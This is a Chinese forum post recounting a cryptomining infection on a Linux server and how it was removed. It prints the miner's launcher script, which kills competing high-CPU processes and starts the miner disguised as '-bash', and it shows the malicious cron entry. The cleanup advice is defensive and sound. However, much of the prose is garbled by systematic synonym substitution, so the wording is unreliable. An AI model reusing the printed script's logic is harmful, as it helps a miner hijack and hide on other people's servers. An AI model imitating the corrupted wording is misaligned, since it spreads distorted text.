服务器荣获挖矿病毒,该如何处理?

打印 上一主题 下一主题

主题 889|帖子 889|积分 2667

配景

本日在做项目的时间,总感觉运行不是很流通,岂非本地服务器也有网络题目?一通操作下来,不出意外,没办理。说来也巧,无意间的一瞥,竟让我发现了题目所在——CPU 满了。这就很不正常了,也没运行什么东西呀,不可能就这么满了。于是我就开始上网搜刮,这是什么缘故原由导致的(这就是没完成工作任务的理由?),功夫不负有心人,终于找到了和碰到同样题目的荣幸儿,从那篇文章里,我了解到,我的服务器是中了挖矿病毒了。
题目排查


  • 首先通过 top 命令检察 cpu 占用率高的进程,得到该进程的 pid
  • 检察该进程是由哪个文件启动的
  1. # 假设 pid 为 1234
  2. ls -l /proc/1234/exe
  3. # 得到如下结果
  4. lrwxrwxrwx 1 git git 0 Jul 29 04:33 /proc/1276757/exe -> /var/tmp/.cache/java
复制代码

  • 根据上面的结果,我们 cd 到 /var/tmp/.cache 目次,使用 ls 命令检察该目次下有什么内容
  1. cd /var/tmp/.cache
  2. ls
  3. a  bash.pid  cron.d  dir.dir  h32  h64  java  run  upd  x
复制代码

  • 然后检察 run 文件
  1. #!/bin/bash
  2. # 下面这条命令的作用是:
  3. #   查找并杀死 CPU 使用率超过 40% 的进程,
  4. #   但排除名为 `xmr-stak` 的进程和所有加载 `ld-linux.so.2` (动态链接器)的进程
  5. #   同时也根据 `bash.pid` 文件(如果存在)中列出的进程 ID 排除额外的进程
  6. # 其中:
  7. #   1. `ps aux`
  8. #      列出系统中当前运行的所有进程的详细信息。
  9. #   2. `grep -vw 'xmr-stak\|ld-linux.so.2'
  10. #      从 `ps aux` 的输出中,排除包含 `xmr-stak` 或 `ld-linux.so.2` 的行。
  11. #      `-v` 表示反向选择(即选择不匹配的行)。
  12. #      `-w` 表示匹配整个单词。
  13. #      `\|` 是正则表达式中的或操作符
  14. #   3. `(test -e bash.pid && grep -vwf bash.pid)`
  15. #      如果 bash.pid 文件存在,则从前面的结果中排除该文件列出的进程 ID。
  16. #      `test -e bash.pid` 检查文件是否存在。
  17. #      `grep -vwf bash.pid` 中的 -f 则表示从文件中读取模式(即进程 ID),用于排除这些进程
  18. #   4. `awk '{if($3>40.0) print $2}'
  19. #      使用 awk 处理上一步操作,如果第三列(CPU 使用率)大于 40,则打印该行第二列(进程 ID)
  20. #   5. `while read procid; do kill -9 $procid; done`
  21. #      强制杀死所有符合条件的进程
  22. #   6. `2>/dev/null`
  23. #      忽略所有错误消息
  24. ps aux | grep -vw 'xmr-stak\|ld-linux.so.2' | (test -e bash.pid && grep -vwf bash.pid) | awk '{if($3>40.0) print $2}' | while read procid; do kill -9 $procid; done 2>/dev/null
  25. # 获取 CPU 核心数
  26. proc=$(nproc)
  27. # 获取系统的架构(Architecture)信息
  28. ARCH=$(uname -m)
  29. HIDE="-bash"
  30. # 根据系统架构,执行不同的程序
  31. if [ "$ARCH" == "i686" ]; then
  32.     ./h32 -s $HIDE ./java >>/dev/null &
  33. elif [ "$ARCH" == "x86_64" ]; then
  34.     ./h64 -s $HIDE ./java >>/dev/null &
  35. fi
  36. # 使用 $! 获取上一个后台命令的 PID,并将其赋值给 pid 变量
  37. pid=$!
  38. # 将上面获取到的 pid 加 1 并作为一个新的变量
  39. new_pid=$((pid + 1))
  40. # 将新的 pid 写入 base.pid 文件,并覆盖原有内容
  41. echo $new_pid > bash.pid
复制代码
从上面的分析不难看出,黑客首先帮我们杀死了那些占用大量 CPU 的进程(人还怪好的嘞)。但实际上,他并不是为了我们,而是要让他的挖矿程序能够更好地运行
题目处理

既然知道题目出在那边,那就想办法办理它。很显着,我们必要杀死这个进程(还是以 1234 为例)。
  1. kill -9 1234
复制代码
但是这并没有竣事,因为很快它就又卷土重来了,没错,CPU 又满了。到这里就应该意识到一个题目:有定时任务存在。
使用 crontab -e 编辑定时任务,内里有这样的内容:
  1. * * * * * /var/tmp/.cache/upd >/dev/null 2>&1
复制代码
可以确定,这个定时任务就是挖矿病毒留下来的。我们把这行内容删除,然后再次杀死那个万恶的进程(留意,PID 变了,在杀死之前确定好,别杀错了人进程)
之后我们必要把 .cache 目次(也就是挖矿程序所在的目次)删除,如今来说,这个题目是办理了。
总结

碰到这个题目应该怎么处理,或者说怎么一气呵成地处理?

  • 排查题目,首先使用 top 命令检察占用资源的进程
  • 然后使用命令 ls -l /proc//exe 来检察该进程是由哪个文件启动
  • 杀死该进程(可能无效,必要在删除定时任务后再次进行此操作)
  • 删除对应的定时任务
  • 删除对应的文件,文件夹

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

钜形不锈钢水箱

金牌会员
这个人很懒什么都没写!

标签云

快速回复 返回顶部 返回列表